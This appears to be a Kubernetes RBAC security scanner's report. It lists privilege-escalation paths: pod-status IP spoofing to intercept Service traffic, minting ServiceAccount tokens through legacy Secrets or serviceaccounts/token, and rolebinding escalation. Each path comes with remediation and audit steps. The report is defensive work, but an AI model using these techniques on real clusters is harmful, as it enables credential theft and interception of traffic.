1. ServiceAccount/statusspoof-fixtures/statusspoof-writer → / via pod_status_ip_spoof (patch pods/status): can rewrite the pod IP in the status of pods selected by Service statusspoof-fixtures/statusspoof-api, redirecting that Service's traffic to an address it chooses until the kubelet corrects the status

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/statusspoof-fixtures/statusspoof-writer.
  2. Acting as ServiceAccount/statusspoof-fixtures/statusspoof-writer, the attacker writes the pods/status subresource (patch pods/status) of a pod that a Service selects, replacing its podIP with an address they control. The API server's status validator checks only that the address is well-formed, and NodeRestriction constrains node callers only. The EndpointSlice controller republishes the new address and kube-proxy re-points the Service within a second, so the Service's clients, bearer tokens included, now talk to the attacker. The pod's kubelet rewrites the status on its next sync (about 10 seconds), so the attacker keeps re-writing it, unless the Service publishes not-ready addresses and the pod has no node, in which case nothing corrects it.
  3. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Pod status rewrite: Service traffic redirection pod_status_ip_spoof

    A Service's backends are not configured anywhere: the EndpointSlice controller derives them from the podIPs that selected pods report in their status. That status is an ordinary API subresource, pods/status. The API server checks only that each address is well-formed, and the NodeRestriction plugin constrains node callers only, so a non-node subject with update or patch on it can give any selected pod any IP.

    The Service follows within a second: the EndpointSlice is republished and kube-proxy re-points its rules. Clients resolve the Service name as before and connect to the attacker, bearer tokens and all. The pod's kubelet writes the real IP back on its next sync (about 10 seconds), so the attacker keeps re-writing it, unless the Service publishes not-ready addresses and the pod has no node, in which case nothing ever corrects it. Against a webhook or aggregated-API backend, the clients are the API server itself.

    From ServiceAccount/statusspoof-fixtures/statusspoof-writer
    Permission granted patch pods/status
    Gives the attacker can rewrite the pod IP in the status of pods selected by Service statusspoof-fixtures/statusspoof-api, redirecting that Service's traffic to an address it chooses until the kubelet corrects the status
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission patch pods/status that enables the first hop (ServiceAccount/statusspoof-fixtures/statusspoof-writer → /).
  1. Break the chain at: remove the permission patch pods/status that enables the first hop (ServiceAccount/statusspoof-fixtures/statusspoof-writer → /).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH

Subjects can reach token_mint in 1 hop(s)

KUBE-PRIVESC-PATH-GENERIC 54 subjects Score 6.8–5.3
MITRE ATT&CK: T1078.004T1098T1068

Affected subjects (54)

HIGH ServiceAccount/cert-manager/cert-manager Cluster 6.8
ServiceAccount/cert-manager/cert-manager can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/cert-manager/cert-manager → token_mint
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager

Subject ServiceAccount/cert-manager/cert-manager has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/cert-manager/cert-manager → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/cert-manager/cert-manager chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cert-manager/cert-manager.
  2. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/cert-manager/cert-manager → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/cert-manager/cert-manager → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/cutres/cutres-detour Cluster 6.8
ServiceAccount/cutres/cutres-detour can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/cutres/cutres-detour → token_mint
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour

Subject ServiceAccount/cutres/cutres-detour has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/cutres/cutres-detour → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/cutres/cutres-detour chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cutres/cutres-detour.
  2. Acting as ServiceAccount/cutres/cutres-detour, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/cutres/cutres-detour → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/cutres/cutres-parallel Cluster 6.8
ServiceAccount/cutres/cutres-parallel can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/cutres/cutres-parallel → token_mint
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel

Subject ServiceAccount/cutres/cutres-parallel has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/cutres/cutres-parallel → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/cutres/cutres-parallel chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cutres/cutres-parallel.
  2. Acting as ServiceAccount/cutres/cutres-parallel, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/cutres/cutres-parallel → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/cutres/cutres-parallel → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 6.8
ServiceAccount/deepchain-tenant/deepchain-privileged can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-privileged → token_mint
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged

Subject ServiceAccount/deepchain-tenant/deepchain-privileged has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/deepchain-tenant/deepchain-privileged → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-privileged chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/deepchain-tenant/deepchain-privileged.
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-privileged, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-privileged → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-privileged → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/flux-system/kustomize-controller Cluster 6.8
ServiceAccount/flux-system/kustomize-controller can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/flux-system/kustomize-controller → token_mint
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller

Subject ServiceAccount/flux-system/kustomize-controller has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/flux-system/kustomize-controller → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/flux-system/kustomize-controller chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/flux-system/kustomize-controller.
  2. Acting as ServiceAccount/flux-system/kustomize-controller, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/flux-system/kustomize-controller → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/flux-system/kustomize-controller → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 6.8
ServiceAccount/foothold-exec/foothold-decoy-sa can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/foothold-exec/foothold-decoy-sa → token_mint
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa

Subject ServiceAccount/foothold-exec/foothold-decoy-sa has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/foothold-exec/foothold-decoy-sa → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/foothold-exec/foothold-decoy-sa chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-exec/foothold-decoy-sa.
  2. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/foothold-exec/foothold-decoy-sa → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/foothold-exec/foothold-decoy-sa → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 6.8
ServiceAccount/privesc-fixtures/sa-secret-mint can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-secret-mint → token_mint
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/privesc-fixtures/sa-secret-mint chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 6.8
ServiceAccount/rbac-fixtures/sa-cluster-admin can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-cluster-admin → token_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-cluster-admin → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/rbac-fixtures/sa-cluster-admin chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-cluster-admin.
  2. Acting as ServiceAccount/rbac-fixtures/sa-cluster-admin, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 6.8
ServiceAccount/rbac-fixtures/sa-token-create can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-create → token_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-token-create → / via mint_arbitrary_token (create serviceaccounts/token (cluster-wide)): can mint a service-account token for any ServiceAccount in any namespace

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls serviceaccounts/token at cluster scope (create serviceaccounts/token (cluster-wide)) to mint a token for any ServiceAccount in any namespace. With no resourceNames constraint, the verb amounts to a credential-issuing oracle.
  3. Final step: attacker reaches token_mint.
  1. Mint a token for any ServiceAccount mint_arbitrary_token

    The create verb on serviceaccounts/token at cluster scope (without resourceNames) lets the holder mint a fresh, valid token for any ServiceAccount in any namespace. No pod creation or exec needed, and it leaves a thinner audit trail than the pod-mount route.

    From ServiceAccount/rbac-fixtures/sa-token-create
    Permission granted create serviceaccounts/token (cluster-wide)
    Gives the attacker can mint a service-account token for any ServiceAccount in any namespace
Remediation
Break the chain at the weakest hop: remove the permission create serviceaccounts/token (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create serviceaccounts/token (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Cluster 6.8
ServiceAccount/rbac-fixtures/sa-wildcard can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-wildcard → token_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-wildcard → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/rbac-fixtures/sa-wildcard chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-wildcard.
  2. Acting as ServiceAccount/rbac-fixtures/sa-wildcard, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/deepchain-tenant/deepchain-binder Cluster 6.5
ServiceAccount/deepchain-tenant/deepchain-binder can reach token_mint in 3 hop(s)
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-binder → token_mint
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-binder

Subject ServiceAccount/deepchain-tenant/deepchain-binder has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention
2. ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged via colocated_sa_token_theft (namespace-admin in deepchain-tenant): can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
3. ServiceAccount/deepchain-tenant/deepchain-privileged → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-binder chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/deepchain-tenant/deepchain-binder.
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  3. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker uses the colocated_sa_token_theft technique to reach ServiceAccount/deepchain-tenant/deepchain-privileged via namespace-admin in deepchain-tenant, which gains can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged.
  4. Acting as ServiceAccount/deepchain-tenant/deepchain-privileged, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
